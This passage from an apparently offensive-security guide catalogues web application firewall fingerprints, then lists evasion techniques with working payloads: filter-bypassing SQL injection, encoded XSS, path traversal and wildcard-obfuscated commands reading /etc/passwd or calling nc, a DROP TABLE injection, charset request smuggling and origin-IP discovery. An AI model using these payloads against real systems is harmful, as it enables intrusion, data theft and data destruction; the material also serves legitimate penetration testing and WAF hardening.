    • Server header may contain Mod_Security or NYOB keywords.
    • Sometimes, the response code to an attack is 403 while the response phrase is ModSecurity Action.
ModSecurity CRS
  • Detectability: Difficult
  • Detection Methodology:
    • Blockpage occurs on adding a separate request header X-Scanner when set to a particular paranoa level.
NAXSI
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains This Request Has Been Blocked By NAXSI.
    • Response headers contain unusual field X-Data-Origin with value naxsi/waf keyword.
    • Server header contains naxsi/waf keyword value.
    • Blocked response page may contain NAXSI blocked information error code.
Nemesida
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains Suspicious activity detected. Access to the site is blocked..
    • Contains reference to email nwaf@{site.tld}
Netcontinuum
  • Detectability: Moderate
  • Detection Methodology:
    • Session cookies contain NCI__SessionId= cookie field name.
NetScaler AppFirewall
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain
      • Connection: header field name jumbled to nnCoection:
      • ns_af= cookie field name.
      • citrix_ns_id field name.
      • NSC_ keyword.
      • NS-CACHE field value.
NevisProxy
  • Detectability: Moderate
  • Detection Methodology:
    • Response header cookies contain Navajo keyword.
NewDefend
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • Reference to http://www.newdefend.com/feedback/misinformation/ URL.
      • Reference to /nd_block/ directory.
    • Server header contains NewDefend keyword.
Nexusguard
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page has reference to speresources.nexusguard.com/wafpage/index.html URL.
NinjaFirewall
  • Detectability: Moderate
  • Detection Methodology:
    • Response page title contains NinjaFirewall: 403 Forbidden.
    • Response page contains:
      • For security reasons, it was blocked and logged text snippet.
      • NinjaFirewall keyword in title.
    • Returns a 403 Forbidden response upon malicious requests.
NSFocus
  • Detectability: Easy
  • Detection Methodology:
    • Server header contain NSFocus keyword.
NullDDoS
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains the NullDDoS System keyword.
onMessage Shield
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain header X-Engine field with value onMessage Shield.
    • Blocked response page contains:
      • Blackbaud K-12 conducts routine maintenance keyword.
      • This site is protected by an enhanced security system.
      • Reference to https://status.blackbaud.com URL.
      • Reference to https://maintenance.blackbaud.com URL.
OpenResty Lua WAF
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains openresty/{version} keyword.
    • Blocked response page contains openresty/{version} text.
    • Blocked response code returned is 406 Not Acceptable.
Palo Alto
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page contains Virus/Spyware Download Blocked.
    • Response page might contain Palo Alto Next Generation Security Platform text snippet.
PentaWAF
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains PentaWAF/{version} keyword.
    • Blocked response page contains text PentaWAF/{version}.
PerimeterX
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to
      https://www.perimeterx.com/whywasiblocked URL.
pkSecurityModule IDS
  • Detectability: Moderate
  • Detection Methodology:
    • Response content may contain
      • pkSecurityModule: Security.Alert.
      • A safety critical request was discovered and blocked text snippet.
Positive Technologies Application Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains Forbidden in h1 followed by:
    • Request ID: in format yyyy-mm-dd-hh-mm-ss-{ref. code}
PowerCDN
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain
      • Via header with content powercdn.com.
      • X-Cache header with content powercdn.com.
      • X-CDN header with content PowerCDN.
Profense
  • Detectability: Easy
  • Detection Methodology:
    • Set-Cookie headers contain PLBSID= cookie field name.
    • Server header contain Profense keyword.
Proventia (IBM)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page might contain to request does not match Proventia rules text snippet.
Puhui
  • Detectability: Easy
  • Detection Methodology:
    • Server header contain PuhuiWAF keyword.
Qiniu CDN
  • Detectability: Easy
  • Detection Methodology:
    • Response content may contain
      • Response headers contain unusual header X-Qiniu-CDN with value set to either 0 or 1.
Radware Appwall
  • Detectability: Moderate
  • Detection Methodology:
    • Response page contains the following text snippet:
      Unauthorized Activity Has Been Detected. and Case Number
    • Blocked response page has reference to radwarealerting@{site.tld} email.
    • Blocked response page has title set to Unauthorized Request Blocked.
    • Response headers may contain X-SL-CompState header field name.
Reblaze
  • Detectability: Moderate
  • Detection Methodology:
    • Cookies in response headers contain rbzid= header field name.
    • Server field value might contain Reblaze Secure Web Gateway text snippet.
    • Response page contains:
      • Access Denied (403) in bold.
      • Current session has been terminated text.
      • For further information, do not hesitate to contact us.
Request Validation Mode
  • Detectability: Easy
  • Detection Methodology:
    • A firewall found specifically on ASP.NET websites and none others.
    • Response page contains either of the following text snippet:
      • ASP.NET has detected data in the request that is potentially dangerous.
      • Request Validation has detected a potentially dangerous client input value.
      • HttpRequestValidationException.
    • Blocked response code returned is always 500 Internal Error.
RSFirewall
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • COM_RSFIREWALL_403_FORBIDDEN keyword.
      • COM_RSFIREWALL_EVENT keyword.
Sabre
  • Detectability: Easy
  • Detection Methodology:
    • Returns status code 500 Internal Error upon malicious requests.
    • Response content has:
      • Contact email dxsupport@sabre.com.
      • Your request has been blocked bold warning.
      • clicking the above email link will automatically add some important details to the email for us to investigate the problem text snippet.
Safe3
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain:
      • X-Powered-By header has field value Safe3WAF.
      • Server header contains field value set to Safe3 Web Firewall.
    • Response page contains Safe3waf keyword.
SafeDog
  • Detectability: Easy/Moderate
  • Detection Methodology:
    • Server header in response may contain:
      • WAF/2.0 keyword.
      • safedog field value.
SecKing
  • Detectability: Easy/Moderate
  • Detection Methodology:
    • Server header in response may contain:
      • SECKINGWAF keyword.
      • SECKING/{version} field value.
SecuPress
  • Detectability: Easy
  • Detection Methodology:
    • Response content may contain:
      • SecuPress as text.
      • Block ID: Bad URL Contents as text.
    • Response code returned is 503 Service Unavailable.
Secure Entry
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains value set to Secure Entry Server.
SecureIIS
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains either of the following text snippet:
      • Image displaying beyondtrust logo.
      • Download SecureIIS Personal Edition
      • Reference to http://www.eeye.com/SecureIIS/ URL.
      • SecureIIS Error text snippet.
SecureSphere
  • Detectability: Difficult
  • Detection Methodology:
    • Response page contains the following text snippet:
      • Error in h2 text.
      • Title contains only text as Error.
      • Contact support for additional information. text.
SEnginx
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains SENGINX-ROBOT-MITIGATION keyword.
ServerDefender VP
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response contains X-Pint header field with p80 keyword.
Shadow Daemon
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains request forbidden by administrative rules. keyword.
ShieldSecurity
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains:
      • You were blocked by the Shield. text.
      • Something in the URL, Form or Cookie data wasn't appropriate text snippet.
      • Warning: You have {number} remaining transgression(s) against this site.
      • Seriously stop repeating what you are doing or you will be locked out.
SiteGround
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains
      The page you are trying to access is restricted due to a security rule text snippet.
SiteGuard (JP Secure)
  • Detectability: Difficult
  • Detection Methodology:
    • Response page contains:
      • Powered by SiteGuard text snippet.
      • The server refuse to browse the page. text snippet.
      • The URL may not be correct. Please confirm the value.
SiteLock TrueShield
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page source contains the following:
      • Reference to www.sitelock.com URL.
      • Sitelock is leader in Business Website Security Services. text.
      • sitelock-site-verification keyword.
      • sitelock_shield_logo image.
SonicWall
  • Detectability: Easy
  • Detection Methodology:
    • Server header contain SonicWALL keyword value.
    • Blocked response page contains either of the following text snippet:
      • Image displaying Dell logo.
      • This request is blocked by the SonicWALL.
      • Web Site Blocked text snippet.
      • nsa_banner as keyword. :p
Sophos UTM
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains Powered by UTM Web Protection keyword.
SquareSpace
  • Detectability: Difficult
  • Detection Methodology:
    • Response code returned is 404 Not Found upon malicious requests.
    • Blocked response page contains either of the following text snippet:
      • BRICK-50 keyword.
      • 404 Not Found text snippet.
SquidProxy IDS
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains field value squid/{version}.
    • Blocked response page contains
      Access control configuration prevents your request from being allowed at this time..
StackPath
  • Detectability: Easy
  • Detection Methodology:
    • Contains image displaying StackPath logo.
    • Blocked response page contains
      You performed an action that triggered the service and blocked your request.
Stingray
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response code returns 403 Forbidden or 500 Internal Error.
    • Response headers contain the X-Mapping header field name.
Sucuri CloudProxy
  • Detectability: Easy
  • Detection Methodology:
    • Response headers may contain Sucuri or Cloudproxy keywords.
    • Blocked response page contains the following text snippet:
      • Access Denied - Sucuri Website Firewall text.
      • Reference to https://sucuri.net/privacy-policy URL.
      • Sometimes the email cloudproxy@sucuri.net.
      • Contains copyright notice ;copy {year} Sucuri Inc.
    • Response headers contains X-Sucuri-ID header along with normal requests.
Synology Cloud
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page has Copyright (c) 2019 Synology Inc. All rights reserved.as text.
Tencent Cloud
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response code returns 405 Method Not Allowed error.
    • Blocked response page contains reference to waf.tencent-cloud.com URL.
Teros
  • Detectability: Difficult
  • Detection Methodology:
    • Response headers contain cookie field st8id.
TrafficShield
  • Detectability: Moderate
  • Detection Methodology:
    • Server might contain F5-TrafficShield keyword.
    • ASINFO= value might be detected in response cookies.
TransIP
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain unique header X-TransIP-Backend.
    • Response headers contain another header X-TransIP-Balancer.
UCloud UEWaf
  • Detectability: Easy
  • Detection Methodology:
    • Response content might contain:
      • Reference to /uewaf_deny_pages/default/img/ inurl directory.
      • ucloud.cn URL.
    • Response headers returned has Server header set to uewaf/{version}.
URLMaster SecurityCheck
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers might contain:
      • UrlMaster keyword.
      • UrlRewriteModule keyword.
      • SecurityCheck keyword.
    • Blocked response code returned is 400 Bad Request text snippet.
URLScan
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page contains:
      • Rejected-by-URLScan text snippet.
      • Server Erro in Application as heading.
      • Module: IIS Web Core in table.
USP Secure Entry
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain Secure Entry Server field value.
Varnish (OWASP)
  • Detectability: Easy
  • Detection Methodology:
    • Malicious request returns 404 Not Found Error.
    • Response page contains:
      • Request rejected by xVarnish-WAF text snippet.
Varnish CacheWall
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • Error 403 Naughty, not Nice! as heading.
      • Varnish cache Server as text.
Viettel
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • Block page has title set to Access denied · Viettel WAF.
      • Reference to https://cloudrity.com.vn/ URL.
      • Response page contains keywords Viettel WAF system.
      • Contact information reference to https://cloudrity.com.vn/customer/#/contact URL.
VirusDie
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • http://cdn.virusdie.ru/splash/firewallstop.png picture.
      • copy; Virusdie.ru

         copyright notice.
      • Response page title contains Virusdie keyword.
      • Page metadata contains name="FW_BLOCK" keyword
WallArm
  • Detectability: Moderate
  • Detection Methodology:
    • Server headers contain nginx-wallarm value.
WatchGuard IPS
  • Detectability: Easy
  • Detection Methodology:
    • Server headers may contain WatchGuard field value.
    • Blocked response page contains:
      • Request denied by WatchGuard Firewall text.
      • WatchGuard Technologies Inc. as footer.
WebARX Security
  • Detectability: Easy
  • Detection Methodology:
    • Restricted to specifically WordPress sites only.
    • Blocked response page contains:
      • This request has been blocked by WebARX Web Application Firewall text.
      • Reference to /wp-content/plugins/webarx/ directory where it is installed.
WebKnight
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain WebKnight keyword.
    • Blocked response page contains:
      • WebKnight Application Firewall Alert text warning.
      • AQTRONIX WebKnight text snippet.
    • Blocked response code returned is 999 No Hacking. :p
    • Blocked response code returned is also 404 Hack Not Found. :p
WebLand
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains Apache Protected By WebLand WAF keyword.
WebRay
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains WebRay-WAF keyword.
    • Response headers may have DrivedBy field with value RaySrv RayEng/{version}.
WebSEAL
  • Detectability: Easy
  • Detection Methodology:
    • Server header contain WebSEAL keyword.
    • Blocked response page contains:
      • This is a WebSEAL error message template file text.
      • WebSEAL server received an invalid HTTP request text snippet.
WebTotem
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains The current request was blocked by WebTotem.
West263CDN
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain X-Cache header field with WT263CDN value.
Wordfence
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain WebKnight keyword.
    • Blocked response page contains:
      • Generated by Wordfence text snippet.
      • A potentially unsafe operation has been detected in your request to this site text warning.
      • Your access to this site has been limited text warning.
      • This response was generated by Wordfence text snippet.
WTS-WAF
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page title has WTS-WAF keyword.
    • Server header contains wts as value.
XLabs Security WAF
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain X-CDN header field with XLabs Security value.
Xuanwudun WAF
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/ site URL.
Yunaq Chuangyu
  • Detectability: Moderate
  • Detection Methodology:
    • Response page has reference to:
      • 365cyd.com or 365cyd.net URL.
      • Reference to help page at http://help.365cyd.com/cyd-error-help.html?code=403.
Yundun
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains YUNDUN as value.
    • X-Cache header field contains YUNDUN as value.
    • Response page contains Blocked by YUNDUN Cloud WAF text snippet.
    • Blocked response page contains reference to yundun.com/yd_http_error/ URL.
Yunsuo
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains image class reference to yunsuologo.
    • Response headers contain the yunsuo_session field name.
YxLink
  • Detectability: Easy
  • Detection Methodology:
    • Response might have yx_ci_session cookie field.
    • Response might have yx_language cookie field.
    • Server header contains Yxlink-WAF field value.
ZenEdge
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to /__zenedge/assets/ directory.
    • Server header contain ZENEDGE keyword.
    • Blocked response headers may contain X-Zen-Fury header.
ZScaler
  • Detectability: Easy
  • Detection Methodology:
    • Server header has value set to ZScaler.
    • Blocked response page contains:
      • Access Denied: Accenture Policy text.
      • Reference to https://policies.accenture.com URL.
      • Reference to image at https://login.zscloud.net/img_logo_new1.png.
      • Your organization has selected Zscaler to protect you from internet threats.
      • The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.
## Evasion Techniques Lets look at some methods of bypassing and evading WAFs. ### Fuzzing/Bruteforcing: #### Method: Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists: - Wordlists specifically for fuzzing - [Seclists/Fuzzing](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing). - [Fuzz-DB/Attack](https://github.com/fuzzdb-project/fuzzdb/tree/master/attack) - [Other Payloads](https://github.com/foospidy/payloads) #### Technique: - Load up your wordlist into fuzzer and start the bruteforce. - Record/log all responses from the different payloads fuzzed. - Use random user-agents, ranging from Chrome Desktop to iPhone browser. - If blocking noticed, increase fuzz latency (eg. 2-4 secs). - Always use proxychains, since chances are real that your IP gets blocked. #### Drawbacks: - This method often fails. - Many a times your IP will be blocked (temporarily/permanently). ### Regex Reversing: #### Method: - Most efficient method of bypassing WAFs. - Some WAFs rely upon matching the attack payloads with the signatures in their databases. - Payload matches the reg-ex the WAF triggers alarm. #### Techniques: ### Blacklisting Detection/Bypass - In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted. - The idea is to guess the regex and craft the next payloads which doesn't use the blacklisted keywords. __Case__: SQL Injection ##### • Step 1: __Keywords Filtered__: `and`, `or`, `union` __Probable Regex__: `preg_match('/(and|or|union)/i', $id)` - __Blocked Attempt__: `union select user, password from users` - __Bypassed Injection__: `1 || (select user from users where user_id = 1) = 'admin'` ##### • Step 2: __Keywords Filtered__: `and`, `or`, `union`, `where` - __Blocked Attempt__: `1 || (select user from users where user_id = 1) = 'admin'` - __Bypassed Injection__: `1 || (select user from users limit 1) = 'admin'` ##### • Step 3: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit` - __Blocked Attempt__: `1 || (select user from users limit 1) = 'admin'` - __Bypassed Injection__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'` ##### • Step 4: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by` - __Blocked Attempt__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'` - __Bypassed Injection__: `1 || (select substr(group_concat(user_id),1,1) user from users ) = 1` ##### • Step 5: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select` - __Blocked Attempt__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1` - __Bypassed Injection__: `1 || 1 = 1 into outfile 'result.txt'` - __Bypassed Injection__: `1 || substr(user,1,1) = 'a'` ##### • Step 6: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'` - __Blocked Attempt__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1` - __Bypassed Injection__: `1 || user_id is not null` - __Bypassed Injection__: `1 || substr(user,1,1) = 0x61` - __Bypassed Injection__: `1 || substr(user,1,1) = unhex(61)` ##### • Step 7: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex` - __Blocked Attempt__: `1 || substr(user,1,1) = unhex(61)` - __Bypassed Injection__: `1 || substr(user,1,1) = lower(conv(11,10,36))` ##### • Step 8: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr` - __Blocked Attempt__: `1 || substr(user,1,1) = lower(conv(11,10,36))` - __Bypassed Injection__: `1 || lpad(user,7,1)` ##### • Step 9: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`, `white space` - __Blocked Attempt__: `1 || lpad(user,7,1)` - __Bypassed Injection__: `1%0b||%0blpad(user,7,1)` ### Obfuscation: #### Method: - Encoding payload to different encodings (a hit and trial approach). - You can encode whole payload, or some parts of it and test recursively. #### Techniques: __1. Case Toggling__ - Some poorly developed WAFs filter selectively specific case WAFs. - We can combine upper and lower case characters for developing efficient payloads. __Standard__: `` __Bypassed__: `` __Standard__: `SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'` __Bypassed__: `sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'` __2. URL Encoding__ - Encode normal payloads with % encoding/URL encoding. - Can be done with online tools like [this](https://www.url-encode-decode.com/). - Burp includes a in-built encoder/decoder. __Blocked__: `` __Obfuscated__: `` __Blocked__: `/?redir=http://google.com` __Bypassed__: `/?redir=http://google。com` (Unicode alternative) __Blocked__: `x` __Bypassed__: `＜marquee loop＝1 onfinish＝alert︵1)>x` (Unicode alternative) > __TIP:__ Have a look at [this](https://hackerone.com/reports/231444) and [this](https://hackerone.com/reports/231389) reports on HackerOne. :) __Standard__: `../../etc/passwd` __Obfuscated__: `%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd` __4. HTML Representation__ - Often web apps encode special characters into HTML encoding and render them accordingly. - This leads us to basic bypass cases with HTML encoding (numeric/generic). __Standard__: `">` __Encoded__: `"><img src=x onerror=confirm()>` (General form) __Encoded__: `"><img src=x onerror=confirm()>` (Numeric reference) __5. Mixed Encoding__ - Sometimes, WAF rules often tend to filter out a specific type of encoding. - This type of filters can be bypassed by mixed encoding payloads. - Tabs and newlines further add to obfuscation. __Obfuscated__: ``` XSS ``` __6. Using Comments__ - Comments obfuscate standard payload vectors. - Different payloads have different ways of obfuscation. __Blocked__: `` __Bypassed__: `` __Blocked__: `/?id=1+union+select+1,2,3--` __Bypassed__: `/?id=1+un/**/ion+sel/**/ect+1,2,3--` __7. Double Encoding__ - Often WAF filters tend to encode characters to prevent attacks. - However poorly developed filters (no recursion filters) can be bypassed with double encoding. __Standard__: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\` __Obfuscated__: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\` __Standard__: `` __Obfuscated__: `%253Cscript%253Ealert()%253C%252Fscript%253E` __8. Wildcard Obfuscation__ - Globbing patterns are used by various command-line utilities to work with multiple files. - We can tweak them to execute system commands. - Specific to remote code execution vulnerabilities on linux systems. __Standard__: `/bin/cat /etc/passwd` __Obfuscated__: `/???/??t /???/??ss??` Used chars: `/ ? t s` __Standard__: `/bin/nc 127.0.0.1 1337` __Obfuscated__: `/???/n? 2130706433 1337` Used chars: `/ ? n [0-9]` __9. Dynamic Payload Generation__ - Different programming languages have different syntaxes and patterns for concatenation. - This allows us to effectively generate payloads that can bypass many filters and rules. __Standard__: `` __Obfuscated__: `` __Standard__: `/bin/cat /etc/passwd` __Obfuscated__: `/bi'n'''/c''at' /e'tc'/pa''ss'wd` > Bash allows path concatenation for execution. __Standard__: `` __Obfuscated__: ``` ``` __13. Token Breakers__ - Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers. - Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature. - However, the request must still remain valid while using token-breakers. - __Case__: Unknown Token for the Tokenizer - __Payload__: `?id=‘-sqlite_version() UNION SELECT password FROM users --` - __Case__: Unknown Context for the Parser (Notice the uncontexted bracket) - __Payload 1__: `?id=123);DROP TABLE users --` - __Payload 2__: `?id=1337) INTO OUTFILE ‘xxx’ --` > __TIP:__ More payloads can be crafted via this [cheat sheet](https://github.com/attackercan/cpp-sql-fuzzer). __14. Obfuscation in Other Formats__ - Many web applications support different encoding types and can interpret the encoding (see below). - Obfuscating our payload to a format not supported by WAF but the server can smuggle our payload in. __Case:__ IIS - IIS6, 7.5, 8 and 10 (ASPX v4.x) allow __IBM037__ character interpretations. - We can encode our payload and send the encoded parameters with the query. Original Request: ``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41 id2='union all select * from users-- ``` Obfuscated Request + URL Encoding: ``` POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=ibm037 Content-Length: 115 %89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60 ``` The following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them): > __TIP:__ You can use [this small python script](others/obfu.py) to convert your payloads and parameters to your desired encodings.
Target Encodings Notes
Nginx, uWSGI-Django-Python3 IBM037, IBM500, cp875, IBM1026, IBM273
  • Query string and body need to be encoded.
  • Url-decoded parameters in query string and body.
  • Equal sign and ampersand needed to be encoded as well (no url-encoding).
Nginx, uWSGI-Django-Python2 IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424
  • Query string and body need to be encoded.
  • Url-decoded parameters in query string and body afterwards.
  • Equal sign and ampersand should not be encoded in any way.
Apache-TOMCAT8-JVM1.8-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • Query string in its original format (could be url-encoded as usual).
  • Body could be sent with/without url-encoding.
  • Equal sign and ampersand should not be encoded in any way.
Apache-TOMCAT7-JVM1.6-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • Query string in its original format (could be url-encoded as usual).
  • Body could be sent with/without url-encoding.
  • Equal sign and ampersand should not be encoded in any way.
IIS6, 7.5, 8, 10 -ASPX (v4.x) IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025
  • Query string in its original format (could be url-encoded as usual).
  • Body could be sent with/without url-encoding.
  • Equal sign and ampersand should not be encoded in any way.
### HTTP Parameter Pollution #### Method: - This attack method is based on how a server interprets parameters with the same names. - Possible bypass chances here are: - The server uses the last received parameter, and WAF checks only the first. - The server unites the value from similar parameters, and WAF checks them separately. #### Technique: - The idea is to enumerate how the parameters are being interpreted by the server. - In such a case we can pass the payload to a parameter which isn't being inspected by the WAF. - Distributing a payload across parameters which can later get concatenated by the server is also useful. Below is a comparison of different servers and their relative interpretations:
Environment Parameter Interpretation Example
ASP/IIS Concatenation by comma par1=val1,val2
JSP, Servlet/Apache Tomcat First parameter is resulting par1=val1
ASP.NET/IIS Concatenation by comma par1=val1,val2
PHP/Zeus Last parameter is resulting par1=val2
PHP/Apache Last parameter is resulting par1=val2
JSP, Servlet/Jetty First parameter is resulting par1=val1
IBM Lotus Domino First parameter is resulting par1=val1
IBM HTTP Server Last parameter is resulting par1=val2
mod_perl, libapeq2/Apache First parameter is resulting par1=val1
Oracle Application Server 10G First parameter is resulting par1=val1
Perl CGI/Apache First parameter is resulting par1=val1
Python/Zope First parameter is resulting par1=val1
IceWarp An array is returned ['val1','val2']
AXIS 2400 Last parameter is resulting par1=val2
DBMan Concatenation by two tildes par1=val1~~val2
mod-wsgi (Python)/Apache An array is returned ARRAY(0x8b9058c)
### HTTP Parameter Fragmentation - HPF is based on the principle where the server unites the value being passed along the parameters. - We can split the payload into different components and then pass the values via the parameters. __Sample Payload__: `1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS` __Sample Query URL__: `http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS` > __TIP:__ A real life example how bypasses can be crafted using this method can be found [here](http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2009-August/005673.html). ### Browser Bugs: #### Charset Bugs: - We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads. - When the site decodes the string, the payload gets triggered. Example request: 
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
When the site loads, it will be encoded to the UTF-32 encoding that we set, and then as the output encoding of the page is UTF-8, it will be rendered as: `" ``` - __Case:__ SQLi ``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1) ``` Many alternatives to the original JavaScript can be used, namely: - [JSFuck](http://www.jsfuck.com/) - [JJEncode](http://utf-8.jp/public/jjencode.html) - [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html) > However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;) ### Abusing SSL/TLS Ciphers: - Many a times, servers do accept connections from various SSL/TLS ciphers and versions. - Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload. #### Technique: - Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this). - Find out the ciphers supported by the server (tools like [SSLScan](https://github.com/rbsec/sslscan) helps here). - If a specific cipher not supported by WAF but by the server, is found, voila! - Initiating a new connection to the server with that specific cipher should smuggle our payload in. > __Tool__: [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf) ``` python abuse-ssl-bypass-waf.py -thread 4 -target ``` CLI tools like cURL can come very handy for PoCs: ``` curl --ciphers -G -d ``` ### Abuse WAF limit on HTTP Responses #### Method - Many a times, WAFs have a limit on _how much_ of the HTTP request they are meant to handle. - By sending a HTTP request with a size __greater than the limit__, we can fully evade WAFs. #### Technique - Use a hit and trial approach to find out how much of the HTTP request is being inspected by the WAF (usually in multiples of 4 kB). - Once done, attach your payload to the request after filling the limit with garbage. > A similar technique was used to [bypass Google Cloud Platform WAF](https://kloudle.com/blog/piercing-the-cloud-armor-the-8kb-bypass-in-google-cloud-platform-waf). ### Abusing DNS History: - Often old historical DNS records provide information about the location of the site behind the WAF. - The target is to get the location of the site, so that we can route our requests directly to the site and not through the WAF. > __TIP:__ Some online services like [IP History](http://www.iphistory.ch/en/) and [DNS Trails](https://securitytrails.com/dns-trails) come to the rescue during the recon process. __Tool__: [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history) ``` bash bypass-firewalls-by-DNS-history.sh -d --checkall ``` ### Using Whitelist Strings: #### Method: - Some WAF developers keep a shared secret with their users/devs which allows them to pass harmful queries through the WAF. - This shared secret, if leaked/known, can be used to bypass all protections within the WAF. #### Technique: - Using the whitelist string as a parameter in GET/POST/PUT/DELETE requests smuggles our payload through the WAF. - Usually some `*-sync-request` keywords or a 